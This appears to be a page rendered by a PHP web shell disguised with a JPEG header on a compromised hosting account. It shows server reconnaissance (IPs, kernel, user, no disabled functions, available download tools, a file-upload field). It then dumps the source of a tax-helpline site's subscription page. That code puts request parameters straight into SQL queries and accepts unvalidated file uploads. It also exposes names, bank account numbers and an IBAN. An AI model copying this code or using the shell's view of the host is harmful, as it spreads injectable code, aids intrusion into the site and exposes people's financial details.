ÿØÿà JPEG ÿþ;
Server IP : 68.65.120.201 / Your IP : 216.73.216.73 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/public_html/ |
Upload File : |
<?php include("admin/db.php"); $id=$_GET['id']; ?> <?php Session_start(); if(isset($_SESSION['logedin']) && $_SESSION['logedin']==true) { $email= $_SESSION['Email_Address']; $ademp="SELECT * FROM `signup` Where `Id` = '$id' "; $powadem = mysqli_query($con,$ademp); $sdm=mysqli_fetch_assoc($powadem); $oldprice= $sdm['test3']; $oldplan = $sdm['plan']; $planexpiry = $sdm['tdate']; if(isset($_POST['update'])) { $newprice=$_POST['test3']; if ($newprice == false) { echo"<div class='alert alert-success alert-dismissible'> <a href='#' class='close' data-dismiss='alert' aria-label='close'>×</a> <strong>Kindly Select Plan !</strong></a> </div>"; }else{ $newplan=$_POST['test4']; $totalprice = $oldprice + $newprice; $totalplan = $oldplan + $newplan; $date = date("d-M-Y"); $date1 = strtotime("+$newplan month", strtotime($planexpiry)); // Convert $date1 back to a readable date format, e.g., 'd-M-Y' $new_expiry_date = date("d-M-Y", $date1); // Now you can use $new_expiry_date in your queries or display echo "New Expiry Date: " . $new_expiry_date; $location = "bills/"; $PSnip = $_FILES['PSnip']['name']; $PSnip_tmp1 = $_FILES['PSnip']['tmp_name']; $imgscr = "bills/" . $PSnip; $query = "UPDATE `signup` SET `test3`='$totalprice', `PSnip`='$imgscr', `plan`='$totalplan', `updated_date`='$date', `approve`='u' , `tdate`='$new_expiry_date' WHERE `id` = $id"; // print_r($query); // exit(); $ded= mysqli_query($con,$query); if ($ded == true) { echo"<script> location.replace('index') </script>"; } } #header('location:profile?id='.$id.''); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <link rel="icon" type="image/x-icon" href="icon.png"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?php echo $sdm['Full_Name'] ?> Profile</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/css/bootstrap.min.css"> <script src="https://cdn.jsdelivr.net/npm/jquery@3.6.4/dist/jquery.slim.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/js/bootstrap.bundle.min.js"></script> <style> body { padding-top: 0px !important; margin: 0; color: #2e323c; background: #b5bcc1 !important; position: relative; height: 100%; } .ashar { display: flex; justify-content: center; align-items: center; margin-top: 18px; } .text-primary { text-decoration: underline #b9b9b9; color: #047580!important; font-size: 35px; font-family: math; font-weight: 900; padding-bottom: 15px; text-align: center; } .form-group { font-size: 18px !important; font-family: math !important; color: #6f757b !important; font-weight: 600 !important; } .form-control { border-color: hsla(0,0%,40%,.1)!important; border-radius: 5px!important; } .form-control:hover { transform: translateY(0px); box-shadow: 0 2px 5px 0 rgba(5,19,79,.09); background: #f0f0f0 !important; /* filter: drop-shadow(0px 5px 5px rgba(0, 0, 0, 0.3)); */ transition: all .3s ease; cursor:pointer; } .form-control:focus { color: #495057; background-color: #fff; border-color: #ffffff; outline: 0; box-shadow: none; } .row { display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; margin-right: 0px; margin-left: 0px; } .form-control { -moz-border-radius: 5px !important; border-radius: 5px !important; font-size: 1.075rem !important; background: #f0f0f0 !important; color: #108892 !important; font-weight: 600 !important; } </style> </head> <body> <div class="container"> <!-- <div class="row gutters"> <div class="col-xl-3 col-lg-3 col-md-12 col-sm-12 col-12"> <div class="card h-100"> <div class="card-body"> <div class="account-settings"> <div class="user-profile"> <div > <img src="Logo.png" alt="Taxhelpline" style="width: 225px; padding-bottom: 30px; "> </div> <h5 class="user-name">Yuki Hayashi</h5> <h6 class="user-email">yuki@Maxwell.com</h6> </div> <div class="about"> <h5>About</h5> <p>I'm Yuki. Full Stack Designer I enjoy creating user-centric, delightful and human experiences.</p> </div> </div> </div> </div> </div> --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <form enctype="multipart/form-data" method="post"> <div class="col-xl-12 col-lg-12 col-md-12 col-sm-12 col-12 ashar"> <div class="card h-100"> <div class="card-body asd"> <div > <center><a href="index"> <img src="Logo.png" alt="Taxhelpline" style="width: 300px; padding-bottom: 25px;"></a> </div></center> <div class="row gutters"> <div class="col-xl-12 col-lg-12 col-md-12 col-sm-12 col-12"> <h6 class="mb-2 text-primary">Your Plan </h6> </div> <div class="alert alert-info col-md-12"> <strong>Heads Up!</strong> Your account is set to expire on <b><?php echo date('F j, Y', strtotime($sdm['tdate'])); ?></b>. Please ensure you renew it in time. </div> <div class="row"> <!-- For Demo Purpose --> <div class="col-xl-12 col-lg-12 col-md-12 col-sm-12 ssssms" style="padding: 0px 25px 0px 30px;" > <h2 style="padding: 0px 0px 0px 0px; color: #007b8f; font-weight:700;" class="sssdddddsssssss"></h2> <div class="row" style="font-size: 17px;padding: 0px 0px 5px 0px; display:none;"> <div class="col-md-3"><input type="checkbox" class="subject" onchange="calculateTotal()" name="cus" value="1c"><label style=" margin-left: 9px;" for="" > <h5>Customs</h5> </label></div> <div class="col-md-3"><input type="checkbox" class="subject" onchange="calculateTotal()" name="sal" value="1s"><label style=" margin-left: 9px;" for=""> <h5> Sales Tax </h5> </label></div> <div class="col-md-3"><input type="checkbox" class="subject" onchange="calculateTotal()" name="inc" value="1i"><label style=" margin-left: 9px;" for=""> <h5>Income Tax</h5></label></div> <div class="col-md-3"><input type="checkbox" class="subject" onchange="calculateTotal()" name="fed" value="1f"><label style=" margin-left: 9px;" for=""> <h5>Federal Excise </h5></label></div> <div class="col-md-5"><input type="checkbox" class="subject" onchange="calculateTotal()" name="sts" value="1ss"><label style=" margin-left: 9px;" for=""> <h5>Sales Tax On Services </h5></label></div> </div> <!-- <h1>Plans</h1> --> <div class="row col-md-12"> <style> .hii{ /* width: 46%; */ /* background: #68686817; */ height: 210px; border-radius: 5px; margin: 44px 0px 0px 0px; } .pkr h3{font-size: 19px;margin-top: 7px; } .cern h3{font-size: 1.5rem; font-weight: 700;} .h5, h5 { font-size: 1.1rem; line-height: 22px; } .fa {padding-right: 6px; padding-left: 2px;} .pkr{background:#29a2b7;color: #f5f5f5; } /* Styling for checkboxes */ /* Create a custom checkbox */ input[type="checkbox"] { background-color: red; color: white; } input[type="checkbox"]:checked { background-color: #002B4E !important; /* Change this to the desired color */ color: white; } .modal-body { position: relative; flex: 1 1 auto; padding: 1rem; line-height: 30px; } .blue{font-weight: 900; background: #29a2b7; border: 1px solid #ffffff;} .btn-check:focus+.btn-primary, .btn-primary:focus { box-shadow: 0 0 0 .25rem rgb(104 104 104 / 20%); } .hii .row{ /* background: white; */ box-shadow: 1px 8px 7px -1px #7e7777; border-radius: 29px; } .pkr { background: #29a2b7; color: #f5f5f5; border-radius: 1px 8px 0px 14px; } .modal-footer { padding: 0.25rem 4.75px; } .modal-header{padding: 0.45rem 0.75rem!important;} .mb-4 { margin-bottom: 1rem !important; } @media (max-width: 1441px) { .container { margin-bottom: 80px; } .col-xl-6.col-lg-7.col-md-12.col-sm-12.ssssms { max-width: 50%!important; } .col-xl-6.col-lg-7.col-md-12.col-sm-12.ssssms { padding: 0px 0px 0px 15px !important; } .col-md-6.hii { margin: 12px 2px 12px 15px; } button.btn.btn-danger { font-size: 16px !important; padding: 4px 6px; } .container, .container-lg, .container-md, .container-sm, .container-xl, .container-xxl { max-width: 1200px; } .col-xl-6.col-lg-5.col-md-12.col-sm-12 { padding: 0px 10px 0px 12px !important; } .col-xl-6.col-lg-5.col-md-12.col-sm-12 { max-width: 50%!important; } h4.sssssewe { font-size: 1.2rem!important; } p.sssssewe { font-size: 19px ! IMPORTANT; } } @media (max-width: 1025px) { button.btn.btn-danger { DISPLAY: NONE; } .col-xl-6.col-lg-7.col-md-12.col-sm-12.ssssms { max-width: 60% !important; } } @media (max-width: 769px) { .col-xl-6.col-lg-7.col-md-12.col-sm-12.ssssms { max-width: 100% !important; } .col-xl-6.col-lg-5.col-md-12.col-sm-12 { max-width: 100% !important; } input.form-control.jilijili { width: 102%; margin-bottom: 20px; } } @media (max-width: 426px) { .col-md-6.hii { margin: 0px 2px 25px 15px; width: 90.3%; } .container { margin: 0px !important; } .col-md-7.cern { width: 65% !important; } input.form-control.jilijili { width: 98%; margin-bottom: 20px; } h2.sssdddddsssssss { padding: 0px 0px 7px 5px !important; } .col-md-5.pkr { width: 35%; } .hii .row { border: 1px solid #c3c3c3; } h4.sssssewe { margin-bottom: 1px; } h4.sssssewe.scccssc { padding-top: 13px; } } @media (min-width: 1445px) { .container, .container-lg, .container-md, .container-sm, .container-xl, .container-xxl { max-width: 1470px; } } </style> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script> <script> $(document).ready(function(){ // This function runs when the document is ready $("#btn1").click(function(){ // This function runs when the button with ID "btn1" is clicked $("#btn1").html("<i class='fa fa-check-square'></i> Selected"); $("#btn2").html("Select"); $("#btn3").html("Select"); $("#btn4").html("Select"); $("#test3").val("3000"); $("#test4").val("1"); }); $("#btn2").click(function(){ // This function runs when the button with ID "btn2" is clicked $("#btn2").html("<i class='fa fa-check-square'></i> Selected"); $("#btn1").html("Select"); $("#btn3").html("Select"); $("#btn4").html("Select"); $("#test3").val("5000"); $("#test4").val("3"); }); $("#btn3").click(function(){ // This function runs when the button with ID "btn3" is clicked $("#btn3").html("<i class='fa fa-check-square'></i> Selected"); $("#btn1").html("Select"); $("#btn2").html("Select"); $("#btn4").html("Select"); $("#test3").val("7000"); $("#test4").val("6"); }); $("#btn4").click(function(){ // This function runs when the button with ID "btn4" is clicked $("#btn4").html("<i class='fa fa-check-square'></i> Selected"); $("#btn1").html("Select"); $("#btn2").html("Select"); $("#btn3").html("Select"); $("#test3").val("12000"); $("#test4").val("12"); }); }); </script> <input type="hidden" required id="test3" name="test3" > <input type="hidden" required id="test4" name="test4" > <div class="col-md-6 hii"> <div class="row" > <div class="col-md-7 cern"><h3 style="margin-top: 3px; margin-bottom: 0px;">Sliver</h3></div> <div class="col-md-5 pkr" ><h3 id="plan1Total">PKR. 2500</h3></div> <div class="col-md-12 mt-2" > <h5> <i class="fa fa-caret-right"> </i> 1 Month Access</h5> <h5> <i class="fa fa-caret-right"> </i> Basic Support</h5> <h5> <i class="fa fa-caret-right"> </i> Unlimited Access</h5> <h5> <i class="fa fa-caret-right"> </i> 24/7 Support</h5> <p class="btn btn-primary" id="btn1" style="padding: 3px 10px;font-weight: 500;background: #686868;border: 1px solid #686868;float:right;"> Select <!-- <input type="checkbox" id="myCheckbox"> <label for="myCheckbox">Checkbox Label</label>--></p> </div> </div></div> <div class="col-md-6 hii"><div class="row"> <div class="col-md-7 cern"><h3 style="margin-top: 3px; margin-bottom: 0px;">Gold</h3></div> <div class="col-md-5 pkr" ><h3 id="plan2Total">PKR. 4500</h3></div> <div class="col-md-12 mt-2" > <h5> <i class="fa fa-caret-right"> </i> 3 Months Access</h5> <h5> <i class="fa fa-caret-right"> </i> Basic Support</h5> <h5> <i class="fa fa-caret-right"> </i> Unlimited Access</h5> <h5> <i class="fa fa-caret-right"> </i> 24/7 Support</h5> <p class="btn btn-primary" id="btn2" style="padding: 3px 10px;font-weight: 500;background: #686868;border: 1px solid #686868;float:right;">Select </p> </div> </div></div> <div class="col-md-6 hii"><div class="row"> <div class="col-md-7 cern"><h3 style="margin-top: 3px; margin-bottom: 0px;">Platinum</h3></div> <div class="col-md-5 pkr" ><h3 id="plan3Total">PKR. 6500</h3></div> <div class="col-md-12 mt-2" > <h5> <i class="fa fa-caret-right"> </i> 6 Months Access</h5> <h5> <i class="fa fa-caret-right"> </i> Basic Support</h5> <h5> <i class="fa fa-caret-right"> </i> Unlimited Access</h5> <h5> <i class="fa fa-caret-right"> </i> 24/7 Support</h5> <p class="btn btn-primary" id="btn3" style="padding: 3px 10px;font-weight: 500;background: #686868;border: 1px solid #686868; float:right;">Select </p> </div> </div></div> <div class="col-md-6 hii"><div class="row"> <div class="col-md-7 cern"><h3 style="margin-top: 3px; margin-bottom: 0px;">Diamond</h3></div> <div class="col-md-5 pkr" ><h3 id="plan4Total">PKR. 10000</h3></div> <div class="col-md-12 mt-2" > <h5> <i class="fa fa-caret-right"> </i> 12 Months Access</h5> <h5> <i class="fa fa-caret-right"> </i> Basic Support</h5> <h5> <i class="fa fa-caret-right"> </i> Unlimited Access</h5> <h5> <i class="fa fa-caret-right"> </i> 24/7 Support</h5> <p class="btn btn-primary" id="btn4" style="padding: 3px 10px;font-weight: 500;background: #686868;border: 1px solid #686868; float:right;">Select </p> </div> </div> </div> <script> var planValues = [2500, 4500, 6500, 10000]; function calculateTotal() { for (var i = 0; i < planValues.length; i++) { var total = 0; var subjects = document.querySelectorAll('.subject:checked'); subjects.forEach(function(subject) { var subjectValue = parseInt(subject.value); total += planValues[i] * subjectValue; }); document.getElementById('plan' + (i + 1) + 'Total').innerText = 'PKR.' + total; } } </script> </div> <h3 style="padding: 10px 0px 5px 0px;color: #007b8f; font-weight: 600;" class="sssdddddsssssss">Subscription Payment</h3> <div class="row"> <div class="col-md-4"> <h4 class="sssssewe" style="font-size: 1.25rem;">EasyPaisa</h4> <p class="sssssewe" style="font-size:20px; font-weight:300;margin: 0px; line-height: 40px;">Syed Ahsan Gillani </p> <p style="font-size:20px; font-weight:300;margin: 0px; line-height: 30px;">Account #: 0309-2188187</p> </div> <div class="col-md-4"> <h4 class="sssssewe scccssc" style=" font-size: 1.25rem;">Meezan Bank</h4> <p class="sssssewe" style="font-size:20px; font-weight:300;margin: 0px; line-height: 40px;">Syed Nauman Gillani</p> <p class="sssssewe" style="font-size:20px; font-weight:300;margin: 0px; line-height: 30px;">Account #:99370109828017 <br> IBAN: PK86MEZN0099370109828017 </p> </div> <div class="col-md-4"> <h4 class="sssssewe" style="font-size: 1.25rem;">Upaisa/Sadapay</h4> <p class="sssssewe" style="font-size:20px; font-weight:300;margin: 0px; line-height: 40px;">Syed Nauman Gillani </p> <p style="font-size:20px; font-weight:300;margin: 0px; line-height: 30px;">Account #: 0333-2214794</p> </div> </div> <table class="Jazzcash4" style=""> <tbody><tr class="row " style="font-family: nunito;font-size: 20px;"> <td class="col-md-12 saifi pt-2 pb-2" style="padding-top: 0px;padding-bottom: 0px;"><p style="margin:0px; font-size: 22px;font-weight: 700;color: #006676; font-weight:500;">Attach the Screen Shot of the Payment</p> </td> <td class="col-md-12" style="padding:0px;width: 99%;padding: 5px 10px;"><input type="file" class="form-control jilijili" required name="PSnip" style="border-radius: 2px!important;padding: 6px;height: 40px!important;border: 1px solid #b1b1b1;"> </td> </tr> </tbody></table> </div> </div> <div class="col-xl-6 col-lg-6 col-md-6 col-sm-6 col-12"> <a href="index" style="font-size: 17px; font-family: math;font-weight: 700;" class="btn btn-danger">Back</a> </div> <div class="col-xl-6 col-lg-6 col-md-6 col-sm-6 col-12"> <button type="submit" id="submit" name="update" style="font-size: 17px; font-family: math;font-weight: 700; float:right;" class="btn btn-primary">Update</button> </div> </div> </div> </div> </div> </form> </body> </html> <style>body { margin: 0; padding-top: 40px; color: #2e323c; background: #f5f6fa; position: relative; height: 100%; } .account-settings .user-profile { margin: 0 0 1rem 0; padding-bottom: 1rem; text-align: center; } .account-settings .user-profile .user-avatar { margin: 0 0 1rem 0; } .account-settings .user-profile .user-avatar img { width: 90px; height: 90px; -webkit-border-radius: 100px; -moz-border-radius: 100px; border-radius: 100px; } .account-settings .user-profile h5.user-name { margin: 0 0 0.5rem 0; } .account-settings .user-profile h6.user-email { margin: 0; font-size: 0.8rem; font-weight: 400; color: #9fa8b9; } .account-settings .about { margin: 2rem 0 0 0; text-align: center; } .account-settings .about h5 { margin: 0 0 15px 0; color: #007ae1; } .account-settings .about p { font-size: 0.825rem; } .form-control { border: 1px solid #cfd1d8; -webkit-border-radius: 2px; -moz-border-radius: 2px; border-radius: 2px; font-size: .825rem; background: #ffffff; color: #2e323c; } .card { background: #ffffff; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; border: 0; margin-bottom: 1rem;} <?php } else{ echo '<script>window.open("login", "_self")</script>'; } ?>